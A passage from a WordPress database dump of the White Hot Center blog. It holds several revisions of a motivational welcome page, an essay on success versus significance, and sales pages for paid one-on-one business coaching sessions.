to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-08-26 10:51:05', '2009-08-26 17:51:05', '', 172, 'http://www.whitehotcenter.com/2009/08/26/172-revision-54/', 0, 'revision', '', 0),
(529, 2, '2009-07-22 16:53:59', '2009-07-22 23:53:59', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within us. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many people work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that really great work and the highest value to the world is best expressed through the venue of business. Commerce is a constant human activity. The desire to grow and expand is an entrepreneur''s truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nFor over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my expertise in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-07-22 16:53:59', '2009-07-22 23:53:59', '', 172, 'http://www.whitehotcenter.com/172-revision-48/', 0, 'revision', '', 0),
(345, 2, '2009-06-30 15:41:19', '2009-06-30 22:41:19', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="size-full wp-image-341 alignnone" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif" alt="thomson" width="450" height="313" /></a>\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is our heart''s desire burning bright and hot within us. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many corporate executives, creative entrepreneurs and professionals I work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life. Just about everybody I have worked with has a desire to experience some level of mastery in these areas of business and in their life''s pursuits.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide a deeper level of guidance on strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-30 15:41:19', '2009-06-30 22:41:19', '', 172, 'http://www.whitehotcenter.com/172-revision-42/', 0, 'revision', '', 0),
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(177, 2, '2009-06-02 09:41:51', '2009-06-02 16:41:51', '', 'brand', 0, '', 'inherit', 'open', 'open', '', 'brand', '', '', '2009-06-02 09:41:51', '2009-06-02 16:41:51', '', 8, 'http://www.whitehotcenter.com/wp-content/uploads/2009/03/brand.eps', 0, 'attachment', 'application/octet-stream', 0),
(178, 2, '2009-04-24 23:49:42', '2009-04-25 06:49:42', '<h2><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?\r\n<h3>The Successful Life</h3>\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n<h3>The Significant Life</h3>\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n<h3>Meaning + Contribution = Significant Happiness</h3>\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-6', '', '', '2009-04-24 23:49:42', '2009-04-25 06:49:42', '', 8, 'http://www.whitehotcenter.com/?p=178', 0, 'revision', '', 0),
(179, 1, '2009-06-08 19:04:22', '2009-06-09 02:04:22', '<h2><span style="color: #ff6600;">Creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose, who do I serve, or what is most important to me?" Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<ul id="big_questions">\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">What does doing great work mean to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></li>\r\n</ul>\r\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'draft', 'closed', 'open', '', 'big-burning-questions', '', '', '2015-10-07 11:18:33', '2015-10-07 18:18:33', '', 0, 'http://www.whitehotcenter.com/blog/?page_id=179', 1, 'page', '', 0),
(180, 1, '2009-06-08 19:04:05', '2009-06-09 02:04:05', '', 'Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision', '', '', '2009-06-08 19:04:05', '2009-06-09 02:04:05', '', 179, 'http://www.whitehotcenter.com/blog/?p=180', 0, 'revision', '', 0),
(181, 1, '2010-09-10 09:07:20', '2010-09-10 16:07:20', '<h2><span style="color: #ff6600;">Creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose, who do I serve, or what is most important to me?" Select one or all, and leave your answer as a comment.\n</span></h2>\n<ul id="big_questions">\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></li>\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></li>\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">What does doing great work mean to you?</a></li>\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></li>\n</ul>\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-autosave', '', '', '2010-09-10 09:07:20', '2010-09-10 16:07:20', '', 179, 'http://www.whitehotcenter.com/blog/?p=181', 0, 'revision', '', 0),
(182, 1, '2009-06-08 19:04:22', '2009-06-09 02:04:22', 'Content for Big Burning Questions.', 'Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-2', '', '', '2009-06-08 19:04:22', '2009-06-09 02:04:22', '', 179, 'http://www.whitehotcenter.com/blog/?p=182', 0, 'revision', '', 0),
(183, 1, '2009-06-08 19:06:00', '2009-06-09 02:06:00', 'Introduction Content for Big Burning Questions. Please click on a question to leave your answer.\r\n\r\nThis is the First Questions Title\r\n\r\nThis is the Second Questions Title\r\n\r\nThis is the Third Questions Title\r\n\r\nThis is the Fourth Questions Title', 'Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-3', '', '', '2009-06-08 19:06:00', '2009-06-09 02:06:00', '', 179, 'http://www.whitehotcenter.com/blog/?p=183', 0, 'revision', '', 0),
(184, 1, '2009-06-08 19:06:10', '2009-06-09 02:06:10', 'Introduction Content for Big Burning Questions. Please click on a question to leave your answer.\r\n\r\nThis is the First Questions Title\r\n\r\nThis is the Second Questions Title\r\n\r\nThis is the Third Questions Title\r\n\r\nThis is the Fourth Questions Title', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-4', '', '', '2009-06-08 19:06:10', '2009-06-09 02:06:10', '', 179, 'http://www.whitehotcenter.com/blog/?p=184', 0, 'revision', '', 0),
(185, 1, '2009-06-08 19:09:42', '2009-06-09 02:09:42', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif"><img class="alignnone size-full wp-image-476" title="questionbar" src="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif" alt="questionbar" width="450" height="85" /></a>\r\n\r\nShare your answer in the comments box below.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'Big Burning Question No.1', 0, '', 'draft', 'open', 'open', '', 'the-first-big-burning-question', '', '', '2015-10-07 11:18:33', '2015-10-07 18:18:33', '', 179, 'http://www.whitehotcenter.com/blog/?page_id=185', 6, 'page', '', 2),
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(510, 2, '2009-07-21 16:49:59', '2009-07-21 23:49:59', 'Or return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'The Second Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '187-revision-5', '', '', '2009-07-21 16:49:59', '2009-07-21 23:49:59', '', 187, 'http://www.whitehotcenter.com/187-revision-5/', 0, 'revision', '', 0),
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INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(200, 1, '2009-06-08 19:22:19', '2009-06-09 02:22:19', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, solid insight, and world-class business development expertise on the fly and in real time!</span></h2>\r\n<h2>The 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web site happening, and find better clients and customers. Whatever the issue, we’ll quickly get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.</h2>\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you break free and get moving in the direction of your desire right from the git go!</h2>\r\n<h2><span style="color: #808080;">Here''s how it works:</span></h2>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h2><span style="color: #808080;">Your investment:</span></h2>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" /></h2>\r\n<h3><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas and turn possibility into achievement.\r\n</span></h3>\r\n<h3><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h3>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'draft', 'closed', 'closed', '', 'power-sessions', '', '', '2015-10-07 11:19:05', '2015-10-07 18:19:05', '', 0, 'http://www.whitehotcenter.com/blog/?page_id=200', 0, 'page', '', 0),
(2384, 2, '2013-08-04 12:45:52', '2013-08-04 19:45:52', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Intuitive, strategic and creative thinking for early stage entrepreneurs and solo professionals who seek inspiration, a gut check, solid insight, and world-class business development expertise on the fly and in real time!</span></h2>\r\n<h2>The 1on1 Power Session Jam is a business / life creative strategy burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues that are currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web site happening, and find better clients and customers. Whatever the issue, we’ll quickly get to work on helping you gain the clarity and confidence you need to increase your impact, influence and income.</h2>\r\n<h2>The Power Session is an intense, information rich, walk-on-fire brain charge designed to help you break free and get moving in the direction of your desire right from the git go!</h2>\r\n<h2><span style="color: #808080;">Here''s how it works:</span></h2>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our session, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h2><span style="color: #808080;">Your investment:</span></h2>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\nI offer an Immersion Jam of (6) Power Sessions (once weekly) to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics and  critical next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" /></h2>\r\n<h3><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential are within you and surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas and turn possibility into achievement.\r\n</span></h3>\r\n<h3><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session! Let''s rock on your ideas for business success!</span></strong></span>\r\n</span></h3>', 'Be inspired. Fire up a One-on-One Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2013-08-04 12:45:52', '2013-08-04 19:45:52', '', 200, 'http://www.whitehotcenter.com/2013/08/200-revision-52/', 0, 'revision', '', 0),
(713, 2, '2010-03-11 12:14:01', '2010-03-11 19:14:01', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"></a>What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions via email that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Power Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $500 USD\r\n</span>\r\n\r\n<span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span>\r\nI offer an Immersion Jam of (6) additional Power Sessions to keep the momentum going enabling you an opportunity to gain a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-03-11 12:14:01', '2010-03-11 19:14:01', '', 200, 'http://www.whitehotcenter.com/2010/03/11/200-revision-20/', 0, 'revision', '', 0),
(712, 2, '2010-03-11 12:08:25', '2010-03-11 19:08:25', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"></a>What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;"></span><span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative entrepreneurs, and professionals, artists and brave souls who seek more clarity, conviction and  to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 